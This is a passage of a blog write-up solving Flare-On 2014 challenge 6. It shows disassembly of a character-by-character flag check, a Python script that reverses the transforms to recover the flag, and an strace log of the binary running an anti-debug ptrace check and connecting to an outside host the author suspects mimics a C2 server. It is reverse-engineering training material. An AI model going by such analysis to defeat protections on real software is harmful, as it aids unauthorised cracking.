0x000000000000016b:  48                dec     eax
0x000000000000016c:  83 C0 01          add     eax, 1
0x000000000000016f:  80 00 5A          add     byte ptr [eax], 0x5a
0x0000000000000172:  80 38 9A          cmp     byte ptr [eax], 0x9a
0x0000000000000175:  74 02             je      0x179
0x0000000000000177:  FF E3             jmp     ebx
0x0000000000000179:  48                dec     eax
0x000000000000017a:  83 C0 01          add     eax, 1
0x000000000000017d:  C0 08 A2          ror     byte ptr [eax], 0xa2
0x0000000000000180:  80 38 99          cmp     byte ptr [eax], 0x99
0x0000000000000183:  74 02             je      0x187
0x0000000000000185:  FF E3             jmp     ebx
0x0000000000000187:  48                dec     eax
0x0000000000000188:  83 C0 01          add     eax, 1
0x000000000000018b:  80 30 7E          xor     byte ptr [eax], 0x7e
0x000000000000018e:  80 28 E7          sub     byte ptr [eax], 0xe7
0x0000000000000191:  80 38 2B          cmp     byte ptr [eax], 0x2b
0x0000000000000194:  74 02             je      0x198
0x0000000000000196:  FF E3             jmp     ebx
0x0000000000000198:  48                dec     eax
0x0000000000000199:  83 C0 01          add     eax, 1
0x000000000000019c:  80 28 B8          sub     byte ptr [eax], 0xb8
0x000000000000019f:  80 30 86          xor     byte ptr [eax], 0x86
0x00000000000001a2:  80 00 4E          add     byte ptr [eax], 0x4e
0x00000000000001a5:  C0 08 4A          ror     byte ptr [eax], 0x4a
0x00000000000001a8:  C0 00 57          rol     byte ptr [eax], 0x57
0x00000000000001ab:  80 38 AF          cmp     byte ptr [eax], 0xaf
0x00000000000001ae:  74 02             je      0x1b2
0x00000000000001b0:  FF E3             jmp     ebx
0x00000000000001b2:  48                dec     eax
0x00000000000001b3:  83 C0 01          add     eax, 1
0x00000000000001b6:  C0 08 86          ror     byte ptr [eax], 0x86
0x00000000000001b9:  80 30 E8          xor     byte ptr [eax], 0xe8
0x00000000000001bc:  C0 00 95          rol     byte ptr [eax], 0x95
0x00000000000001bf:  80 30 4A          xor     byte ptr [eax], 0x4a
0x00000000000001c2:  80 30 AD          xor     byte ptr [eax], 0xad
0x00000000000001c5:  80 38 C3          cmp     byte ptr [eax], 0xc3
0x00000000000001c8:  74 02             je      0x1cc
0x00000000000001ca:  FF E3             jmp     ebx
0x00000000000001cc:  48                dec     eax
0x00000000000001cd:  83 C0 01          add     eax, 1
0x00000000000001d0:  C0 08 45          ror     byte ptr [eax], 0x45
0x00000000000001d3:  80 30 CC          xor     byte ptr [eax], 0xcc
0x00000000000001d6:  80 00 1C          add     byte ptr [eax], 0x1c
0x00000000000001d9:  80 38 03          cmp     byte ptr [eax], 3
0x00000000000001dc:  74 02             je      0x1e0
0x00000000000001de:  FF E3             jmp     ebx
0x00000000000001e0:  48                dec     eax
0x00000000000001e1:  83 C0 01          add     eax, 1
0x00000000000001e4:  80 28 4A          sub     byte ptr [eax], 0x4a
0x00000000000001e7:  80 38 E3          cmp     byte ptr [eax], 0xe3
0x00000000000001ea:  74 02             je      0x1ee
0x00000000000001ec:  FF E3             jmp     ebx
0x00000000000001ee:  48                dec     eax
0x00000000000001ef:  83 C0 01          add     eax, 1
0x00000000000001f2:  80 30 A5          xor     byte ptr [eax], 0xa5
0x00000000000001f5:  C0 08 90          ror     byte ptr [eax], 0x90
0x00000000000001f8:  80 38 CA          cmp     byte ptr [eax], 0xca
0x00000000000001fb:  74 02             je      0x1ff
0x00000000000001fd:  FF E3             jmp     ebx
0x00000000000001ff:  48                dec     eax
0x0000000000000200:  83 C0 01          add     eax, 1
0x0000000000000203:  C0 08 DE          ror     byte ptr [eax], 0xde
0x0000000000000206:  C0 00 36          rol     byte ptr [eax], 0x36
0x0000000000000209:  80 30 78          xor     byte ptr [eax], 0x78
0x000000000000020c:  80 28 D8          sub     byte ptr [eax], 0xd8
0x000000000000020f:  80 38 3E          cmp     byte ptr [eax], 0x3e
0x0000000000000212:  74 02             je      0x216
0x0000000000000214:  FF E3             jmp     ebx
0x0000000000000216:  48                dec     eax
0x0000000000000217:  83 C0 01          add     eax, 1
0x000000000000021a:  80 00 B5          add     byte ptr [eax], 0xb5
0x000000000000021d:  80 28 AD          sub     byte ptr [eax], 0xad
0x0000000000000220:  C0 08 89          ror     byte ptr [eax], 0x89
0x0000000000000223:  C0 00 A2          rol     byte ptr [eax], 0xa2
0x0000000000000226:  C0 00 11          rol     byte ptr [eax], 0x11
0x0000000000000229:  80 38 D8          cmp     byte ptr [eax], 0xd8
0x000000000000022c:  74 02             je      0x230
0x000000000000022e:  FF E3             jmp     ebx
0x0000000000000230:  48                dec     eax
0x0000000000000231:  83 C0 01          add     eax, 1
0x0000000000000234:  80 00 40          add     byte ptr [eax], 0x40
0x0000000000000237:  80 28 21          sub     byte ptr [eax], 0x21
0x000000000000023a:  C0 08 C0          ror     byte ptr [eax], 0xc0
0x000000000000023d:  80 38 82          cmp     byte ptr [eax], 0x82
0x0000000000000240:  74 02             je      0x244
0x0000000000000242:  FF E3             jmp     ebx
0x0000000000000244:  48                dec     eax
0x0000000000000245:  83 C0 01          add     eax, 1
0x0000000000000248:  C0 00 E3          rol     byte ptr [eax], 0xe3
0x000000000000024b:  80 38 7B          cmp     byte ptr [eax], 0x7b
0x000000000000024e:  74 02             je      0x252
0x0000000000000250:  FF E3             jmp     ebx
0x0000000000000252:  48                dec     eax
0x0000000000000253:  83 C0 01          add     eax, 1
0x0000000000000256:  80 28 78          sub     byte ptr [eax], 0x78
0x0000000000000259:  C0 08 F6          ror     byte ptr [eax], 0xf6
0x000000000000025c:  80 38 D7          cmp     byte ptr [eax], 0xd7
  • As you can see, for each letter, there are transformations (ror, rol, xor, add, sub) applied to the letter provided. The result is then compared to an expected result. If it succeeds (expected result), the program continues and if it fails, it exits.
  • Since we have the result of the transformations for each letter, it is possible to reverse the logic to get the initial letter. Let’s take an example (letter 4). The code is as follows:
add byte ptr [rax], 0xa3
ror byte ptr [rax], 0xbc
cmp byte ptr [rax], 0xb0

Pasted image 20260201231842.png

  • As you can see it is character by character check so we have to make script to automate it,

Pasted image 20260201233334.png

  • This script reverses a byte-by-byte verification routine or decryption in the binary to recover the correct second command-line argument.
  • In short, you have to enter 2nd flag as arg2 and it will perform certain operation with each character and compare it and if succeed then proceed.
  • So we can build flag from this operation by reverse decoding it.
  • Script Taken from: https://www.aldeid.com/wiki/The-FLARE-On-Challenge-01/Challenge-6
#!/usr/bin/env python

# source for rol and ror: http://www.falatic.com/index.php/108/python-and-bitwise-rotation
# Rotate left. Set max_bits to 8.
rol = lambda val, r_bits, max_bits=8: \
    (val << r_bits%max_bits) & (2**max_bits-1) | \
    ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
 
# Rotate right. Set max_bits to 8.
ror = lambda val, r_bits, max_bits=8: \
    ((val & (2**max_bits-1)) >> r_bits%max_bits) | \
    (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))

l = []

### Letter 1
"""
ror byte ptr [rax], 0xf2
cmp byte ptr [rax], 27
"""
l.append( rol(27, 0xf2) )

### Letter 2
"""
xor byte ptr [rax], 64
xor byte ptr [rax], 0xf2
xor byte ptr [rax], 0xb3
cmp byte ptr [rax], 48
"""
l.append( 48 ^ 0xb3 ^ 0xf2 ^ 64 )

### Letter 3
"""
xor byte ptr [rax], 113
cmp byte ptr [rax], 31
"""
l.append( 31 ^ 113 )

### letter 4
"""
add byte ptr [rax], 0xa3
ror byte ptr [rax], 0xbc
cmp byte ptr [rax], 0xb0
"""
l.append( rol(0xb0, 0xbc) - 0xa3 )

### letter 5
"""
sub byte ptr [rax], 121
cmp byte ptr [rax], 0xe8
"""
l.append( 0xe8 + 121 )

### letter 6
"""
ror byte ptr [rax], 0x82
sub byte ptr [rax], 40
cmp byte ptr [rax], 0xf6
"""
l.append( rol(0xf6 + 40, 0x82) )

### letter 7
"""
sub byte ptr [rax], 0xb0
ror byte ptr [rax], 77
add byte ptr [rax], 44
cmp byte ptr [rax], 31
"""
l.append( rol(31 - 44, 77) + 0xb0 )

### letter 8
"""
add byte ptr [rax], 84
rol byte ptr [rax], 0x99
xor byte ptr [rax], 0xb8
ror byte ptr [rax], 42
add byte ptr [rax], 63
cmp byte ptr [rax], 0xaf
"""
l.append( ror(rol(0xaf - 63, 42) ^ 0xb8, 0x99) - 84 )

### letter 9
"""
ror byte ptr [rax], 0xba
cmp byte ptr [rax], 93
"""
l.append( rol(93, 0xba) )

### letter 10
"""
xor byte ptr [rax], 0xed
ror byte ptr [rax], 108
add byte ptr [rax], 48
cmp byte ptr [rax], 41
"""
l.append( rol(41 - 48, 108) ^ 0xed )

### letter 11
"""
sub byte ptr [rax], 0xbf
cmp byte ptr [rax], 0xb5
"""
l.append( 0xb5 + 0xbf )

### letter 12
"""
rol byte ptr [rax], 0xbc
add byte ptr [rax], 0x8c
rol byte ptr [rax], 123
sub byte ptr [rax], 49
add byte ptr [rax], 99
cmp byte prt [rax], 0xa5
"""
l.append( ror(ror(0xa5 - 99 + 49, 123) - 0x8c, 0xbc) )

### letter 13
"""
rol byte ptr [rax], 32
rol byte ptr [rax], 22
xor byte ptr [rax], 0xae
rol byte ptr [rax], 0x98
cmp byte ptr [rax], 0xf3
"""
l.append( ror(ror(ror(0xf3, 0x98) ^ 0xae, 22), 32) )

### letter 14
"""
ror byte ptr [rax], 110
add byte ptr [rax], 0xd2
cmp byte ptr [rax], 0xa6
"""
l.append( rol(0xa6 - 0xd2, 110) )

### letter 15
"""
add byte ptr [rax], 52
cmp byte ptr [rax], 98
"""
l.append( 98 - 52 )

### letter 16
"""
add byte ptr [rax], 0xcd
sub byte ptr [rax], 16
add byte ptr [rax], 98
xor byte ptr [rax], 0xb2
cmp byte ptr [rax], 50
"""
l.append( (50 ^ 0xb2) - 98 + 16 - 0xcd )

### letter 17
"""
xor byte ptr [rax], 0xb7
xor byte ptr [rax], 115
ror byte ptr [rax], 7
cmp byte ptr [rax], 0xeb
"""
l.append( rol(0xeb, 7) ^ 115 ^ 0xb7 )

### letter 18
"""
add byte ptr [rax], 52
sub byte ptr [rax], 97
ror byte ptr [rax], 54
add byte ptr [rax], 91
sub byte ptr [rax], 76
cmp byte ptr [rax], 11
"""
l.append( rol(11 + 76 - 91, 54) + 97 - 52 )

### letter 19
"""
add byte ptr [rax], 90
cmp byte ptr [rax], 0x9a
"""
l.append( 0x9a - 90 )

### letter 20
"""
ror byte ptr [rax], 0xa2
cmp byte ptr [rax], 0x99
"""
l.append( rol(0x99, 0xa2) )

### letter 21
"""
xor byte ptr [rax], 126
sub byte ptr [rax], 0xe7
cmp byte ptr [rax], 43
"""
l.append( (43 + 0xe7) ^ 126 )

### letter 22
"""
sub byte ptr [rax], 0xb8
xor byte ptr [rax], 0x86
add byte ptr [rax], 78
ror byte ptr [rax], 74
rol byte ptr [rax], 87
cmp byte ptr [rax], 0xaf
"""
l.append( ((rol(ror(0xaf, 87), 74) - 78) ^ 0x86) + 0xb8 )

### letter 23
"""
ror byte ptr [rax], 0x86
xor byte ptr [rax], 0xe8
rol byte ptr [rax], 0x95
xor byte ptr [rax], 74
xor byte ptr [rax], 0xad
cmp byte ptr [rax], 0xc3
"""
l.append( rol(ror(0xc3 ^ 0xad ^ 74, 0x95) ^ 0xe8, 0x86) )

### letter 24
"""
ror byte ptr [rax], 69
xor byte ptr [rax], 0xcc
add byte ptr [rax], 28
cmp byte ptr [rax], 3
"""
l.append( rol((3 - 28) ^ 0xcc, 69) )

### letter 25
"""
sub byte ptr [rax], 74
cmp byte ptr [rax], 0xe3
"""
l.append( 0xe3 + 74 )

### letter 26
"""
xor byte ptr [rax], 0xa5
ror byte ptr [rax], 0x90
cmp byte ptr [rax], 0xca
"""
l.append( rol(0xca, 0x90) ^ 0xa5 )

### letter 27
"""
ror byte ptr [rax], 0xde
rol byte ptr [rax], 54
xor byte ptr [rax], 120
sub byte ptr [rax], 0xd8
cmp byte ptr [rax], 62
"""
l.append( rol(ror((62 + 0xd8) ^ 120, 54), 0xde) )

### letter 28
"""
add byte ptr [rax], 0xb5
sub byte ptr [rax], 0xad
ror byte ptr [rax], 0x89
rol byte ptr [rax], 0xa2
rol byte ptr [rax], 17
cmp byte ptr [rax], 0xd8
"""
l.append( rol(ror(ror(0xd8, 17), 0xa2), 0x89) + 0xad - 0xb5 )

### letter 29
"""
add byte ptr [rax], 64
sub byte ptr [rax], 33
ror byte ptr [rax], 0xc0
cmp byte ptr [rax], 0x82
"""
l.append( rol(0x82, 0xc0) + 33 - 64 )

### letter 30
"""
rol byte ptr [rax], 0xe3
cmp byte ptr [rax], 123
"""
l.append( ror(123, 0xe3) )

### letter 31
"""
sub byte ptr [rax], 120
ror byte ptr [rax], 0xf6
cmp byte ptr [rax], 0xd7
"""
l.append( rol(0xd7, 0xf6) + 120 )

# modulo 256 applied to ensure values are in range(256)
print ''.join([chr(i % 256) for i in l])
β”Œβ”€β”€(b14ckyγ‰ΏDESKTOP-VRSQRAJ)-[~/]
└─$ python2 solve.py
l1nhax.hurt.u5.a1l@flare-on.com
  • After giving flag as arg2 it is trying to connect with the some host, maybe try to mimic like a C2 server,
β”Œβ”€β”€(b14ckyγ‰ΏDESKTOP-VRSQRAJ)-[~/]
└─$ strace -i ./e7bc5d2c0cf4480348f5504196561297.patched2 4815162342 l1nhax.hurt.u5.a1l@flare-on.com

[00007e36940de557] execve("./e7bc5d2c0cf4480348f5504196561297.patched2", ["./e7bc5d2c0cf4480348f55041965612"..., "4815162342", "l1nhax.hurt.u5.a1l@flare-on.com"], 0x7fffd1dd75e8 /* 35 vars */) = 0
[00000000004a9297] uname({sysname="Linux", nodename="DESKTOP-VRSQRAJ", ...}) = 0
[00000000004aa78a] brk(NULL)            = 0x4913000
[00000000004aa78a] brk(0x49141c0)       = 0x49141c0
[000000000045e3f5] arch_prctl(ARCH_SET_FS, 0x4913880) = 0
[00000000004aa78a] brk(0x49351c0)       = 0x49351c0
[00000000004aa78a] brk(0x4936000)       = 0x4936000
[000000000047431b] ptrace(PTRACE_TRACEME) = -1 EPERM (Operation not permitted)
[000000000047c9c0] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
[000000000047c882] rt_sigaction(SIGCHLD, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
[000000000047c882] rt_sigaction(SIGCHLD, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
[000000000047c882] rt_sigaction(SIGCHLD, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
[000000000047c882] rt_sigaction(SIGCHLD, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
[000000000047c882] rt_sigaction(SIGCHLD, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
[000000000047c9c0] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[00007fff1a8fc114] socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
[00007fff1a8fc140] connect(3, {sa_family=AF_INET, sin_port=htons(39426), sin_addr=inet_addr("9.30.75.86")}, 16
  • Here is our flag,
l1nhax.hurt.u5.a1l@flare-on.com
  • Here is the flow of this program. (There might be some inaccuracy or mistake so sorry for that in advance because i am a leaner like you. πŸ˜…)

Pasted image 20260202005044.png

Flare-On 2014 Jan 2026
https://b14cky.github.io/posts/flare-on-2014/notes/
Author
0xB14CKY
Published at
2026-01-18